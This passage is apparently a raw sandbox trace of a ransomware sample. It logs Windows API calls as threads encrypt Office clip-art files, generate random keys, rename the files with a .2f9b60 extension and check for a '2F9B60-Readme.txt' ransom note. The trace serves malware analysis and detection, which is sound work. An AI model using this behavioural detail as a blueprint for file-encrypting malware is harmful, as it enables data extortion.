lpBuffer=0x201aa520*, lpNumberOfBytesWritten=0x1f6cf714*=0x14fa, lpOverlapped=0x0) returned 1 [0100.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c50 [0100.651] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262db0 [0100.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262db0) returned 1 [0100.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201aa520) returned 1 [0100.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a6910) returned 1 [0100.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0100.652] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf40) returned 1 [0100.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20262db0 [0100.960] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.961] WriteFile (in: hFile=0x15b0, lpBuffer=0x4205a0b0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f6cf830, lpOverlapped=0x0 | out: lpBuffer=0x4205a0b0*, lpNumberOfBytesWritten=0x1f6cf830*=0x10a, lpOverlapped=0x0) returned 1 [0105.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0105.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f7c0) returned 1 [0105.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0105.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f7c0 [0105.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0105.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fd90) returned 1 [0105.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.302] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0105.302] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="7a") returned 2 [0105.302] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="48") returned 2 [0105.302] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="ff") returned 2 [0105.302] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="78") returned 2 [0105.302] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="1c") returned 2 [0105.302] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="9a") returned 2 [0105.302] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="2c") returned 2 [0105.302] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="ac") returned 2 [0105.302] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="63") returned 2 [0105.302] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="d9") returned 2 [0105.302] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="c8") returned 2 [0105.302] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="9e") returned 2 [0105.302] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="cf") returned 2 [0105.303] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="94") returned 2 [0105.303] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="fe") returned 2 [0105.303] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="82") returned 2 [0105.303] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="1b") returned 2 [0105.303] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="7b") returned 2 [0105.303] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="a7") returned 2 [0105.303] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="df") returned 2 [0105.303] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="26") returned 2 [0105.303] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="21") returned 2 [0105.303] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="c0") returned 2 [0105.303] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="3b") returned 2 [0105.303] RtlInitAnsiString (in: DestinationString=0x1f6cf8a8, SourceString="7a48ff781c9a2cac63d9c89ecf94fe821b7ba7df2621c03b" | out: DestinationString="7a48ff781c9a2cac63d9c89ecf94fe821b7ba7df2621c03b") [0105.303] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f6cf878, SourceString="7a48ff781c9a2cac63d9c89ecf94fe821b7ba7df2621c03b", AllocateDestinationString=1 | out: DestinationString="7a48ff781c9a2cac63d9c89ecf94fe821b7ba7df2621c03b") returned 0x0 [0105.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5780 [0105.304] wcscat (in: _Dest=0x204ffa50, _Source="7a48ff781c9a" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7a48ff781c9a") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7a48ff781c9a" [0105.304] wcscat (in: _Dest=0x204ffa50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7a48ff781c9a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7a48ff781c9a.2f9b60" [0105.304] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7a48ff781c9a.2f9b60", NtPathName=0x1f6cf850, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\7a48ff781c9a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050d370 [0106.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d370) returned 1 [0106.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecc2e0) returned 1 [0106.055] NtQueryInformationFile (in: FileHandle=0x15b0, IoStatusBlock=0x1f6cf8b8, FileInformation=0x1f6cf8c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f6cf8b8, FileInformation=0x1f6cf8c8) returned 0x0 [0106.055] NtSetInformationFile (FileHandle=0x15b0, IoStatusBlock=0x1f6cf8b8, FileInformation=0x1f6cf8c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0106.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffa50) returned 1 [0106.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5780) returned 1 [0106.058] FlushFileBuffers (hFile=0x15b0) returned 1 [0106.059] CloseHandle (hObject=0x15b0) returned 1 [0106.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4140 [0106.061] wcscpy (in: _Dest=0x202a4140, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0106.061] wcscat (in: _Dest=0x202a4140, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0106.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0106.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4140) returned 1 [0106.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4e3d0) returned 1 Thread: id = 754 os_tid = 0x12ac [0098.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf")) returned 0x20 [0099.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF", dwFileAttributes=0x20) returned 1 [0099.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0185604.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0185604.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15ac [0099.685] GetFileSizeEx (in: hFile=0x15ac, lpFileSize=0x1f2ffcc0 | out: lpFileSize=0x1f2ffcc0*=5916) returned 1 [0099.685] SetFilePointerEx (in: hFile=0x15ac, liDistanceToMove=0x1718, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.685] ReadFile (in: hFile=0x15ac, lpBuffer=0x1f2ffc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f2ffc88, lpOverlapped=0x0 | out: lpBuffer=0x1f2ffc40*, lpNumberOfBytesRead=0x1f2ffc88*=0x4, lpOverlapped=0x0) returned 1 [0099.801] SetFilePointerEx (in: hFile=0x15ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262600 [0099.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262690 [0099.801] NtQuerySystemTime (in: CurrentTime=0x1f2ffb80 | out: CurrentTime=0x1f2ffb80*=132462177053230000) returned 0x0 [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x60bf0ed2 [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x38f9727e [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x6611602 [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x102fb11f [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x18a2d8fc [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x18420cb6 [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x5eb5132b [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x6fc90691 [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x4ff1ecba [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x1bfc4191 [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x4d2a34c4 [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x3bf4d742 [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x3598d1d7 [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x5fd34124 [0099.801] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x26784a44 [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x59b68598 [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x3858dca3 [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x668d812d [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x668010 [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x37cfa71 [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x29f38fd4 [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x7ba63c1a [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x7b96853e [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x2df35724 [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x1934079c [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x64620cde [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x167d9930 [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x7c5c2f60 [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x51e61a56 [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x3031e0f6 [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x76a0eba4 [0099.802] RtlRandomEx (in: Seed=0x1f2ffb70 | out: Seed=0x1f2ffb70) returned 0x346e48ed [0100.754] ReadFile (in: hFile=0x15ac, lpBuffer=0x1ce8e210, nNumberOfBytesToRead=0x171c, lpNumberOfBytesRead=0x1f2ffb70, lpOverlapped=0x0 | out: lpBuffer=0x1ce8e210*, lpNumberOfBytesRead=0x1f2ffb70*=0x171c, lpOverlapped=0x0) returned 1 [0101.680] SetFilePointerEx (in: hFile=0x15ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.680] WriteFile (in: hFile=0x15ac, lpBuffer=0x2020c1b0*, nNumberOfBytesToWrite=0x171c, lpNumberOfBytesWritten=0x1f2ffb74, lpOverlapped=0x0 | out: lpBuffer=0x2020c1b0*, lpNumberOfBytesWritten=0x1f2ffb74*=0x171c, lpOverlapped=0x0) returned 1 [0102.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202616d0 [0102.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202616a0 [0102.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202616a0) returned 1 [0102.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2020c1b0) returned 1 [0102.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce8e210) returned 1 [0102.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0102.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0102.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202616a0 [0102.025] SetFilePointerEx (in: hFile=0x15ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0102.025] WriteFile (in: hFile=0x15ac, lpBuffer=0x4205aad0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1f2ffc90, lpOverlapped=0x0 | out: lpBuffer=0x4205aad0*, lpNumberOfBytesWritten=0x1f2ffc90*=0x10a, lpOverlapped=0x0) returned 1 [0102.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262660 [0102.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262660) returned 1 [0102.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262660 [0102.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262630 [0102.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262630) returned 1 [0102.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.377] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="1f") returned 2 [0102.377] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="35") returned 2 [0102.377] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="8a") returned 2 [0102.377] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="e8") returned 2 [0102.377] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="17") returned 2 [0102.377] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="bf") returned 2 [0102.377] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="11") returned 2 [0102.377] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="a0") returned 2 [0102.377] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="c0") returned 2 [0102.377] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="44") returned 2 [0102.377] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="be") returned 2 [0102.377] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="37") returned 2 [0102.377] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="d5") returned 2 [0102.378] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="e9") returned 2 [0102.378] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="31") returned 2 [0102.378] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="e7") returned 2 [0102.378] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="7b") returned 2 [0102.378] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="55") returned 2 [0102.378] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="fb") returned 2 [0102.378] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="d8") returned 2 [0102.378] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="b7") returned 2 [0102.378] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="a6") returned 2 [0102.378] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="a1") returned 2 [0102.378] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="1a") returned 2 [0102.378] RtlInitAnsiString (in: DestinationString=0x1f2ffd08, SourceString="1f358ae817bf11a0c044be37d5e931e77b55fbd8b7a6a11a" | out: DestinationString="1f358ae817bf11a0c044be37d5e931e77b55fbd8b7a6a11a") [0102.378] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f2ffcd8, SourceString="1f358ae817bf11a0c044be37d5e931e77b55fbd8b7a6a11a", AllocateDestinationString=1 | out: DestinationString="1f358ae817bf11a0c044be37d5e931e77b55fbd8b7a6a11a") returned 0x0 [0102.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5940 [0102.378] wcscat (in: _Dest=0x4205d690, _Source="1f358ae817bf" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1f358ae817bf") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1f358ae817bf" [0102.378] wcscat (in: _Dest=0x4205d690, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1f358ae817bf.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1f358ae817bf.2f9b60" [0102.378] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1f358ae817bf.2f9b60", NtPathName=0x1f2ffcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1f358ae817bf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cf50 [0105.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cf50) returned 1 [0105.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061690) returned 1 [0105.932] NtQueryInformationFile (in: FileHandle=0x15ac, IoStatusBlock=0x1f2ffd18, FileInformation=0x1f2ffd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1f2ffd18, FileInformation=0x1f2ffd28) returned 0x0 [0105.932] NtSetInformationFile (FileHandle=0x15ac, IoStatusBlock=0x1f2ffd18, FileInformation=0x1f2ffd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d690) returned 1 [0105.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5940) returned 1 [0105.937] FlushFileBuffers (hFile=0x15ac) returned 1 [0105.943] CloseHandle (hObject=0x15ac) returned 1 [0105.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4a40 [0105.948] wcscpy (in: _Dest=0x202a4a40, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.948] wcscat (in: _Dest=0x202a4a40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0106.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4a40) returned 1 [0106.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4e460) returned 1 Thread: id = 755 os_tid = 0x12b0 [0098.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf")) returned 0x20 [0099.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF", dwFileAttributes=0x20) returned 1 [0099.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186002.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186002.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15f0 [0099.725] GetFileSizeEx (in: hFile=0x15f0, lpFileSize=0x1ebdf7c0 | out: lpFileSize=0x1ebdf7c0*=12132) returned 1 [0099.725] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x2f60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.725] ReadFile (in: hFile=0x15f0, lpBuffer=0x1ebdf740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ebdf788, lpOverlapped=0x0 | out: lpBuffer=0x1ebdf740*, lpNumberOfBytesRead=0x1ebdf788*=0x4, lpOverlapped=0x0) returned 1 [0099.915] SetFilePointerEx (in: hFile=0x15f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0099.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202629f0 [0099.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262a80 [0099.915] NtQuerySystemTime (in: CurrentTime=0x1ebdf680 | out: CurrentTime=0x1ebdf680*=132462177054322000) returned 0x0 [0099.915] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x2243221f [0099.915] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x4f6aa156 [0099.915] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x3cc3877f [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x5a38b247 [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0xf92578f [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x774814bf [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x773a46e5 [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x4935bd31 [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x25465f9f [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x3f91910 [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x769e5fba [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x20712c90 [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x331c7a72 [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x5b5b302 [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x482a62f8 [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x21b18d2d [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x74049b12 [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x69f718b1 [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x2d110996 [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x69d094de [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x3673549b [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x773a46e5 [0099.916] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x7095b546 [0099.917] RtlRandomEx (in: Seed=0x1ebdf670 | out: Seed=0x1ebdf670) returned 0x51364651 [0099.917] RtlRandomEx (in: Seed=0x1ebdf670 | 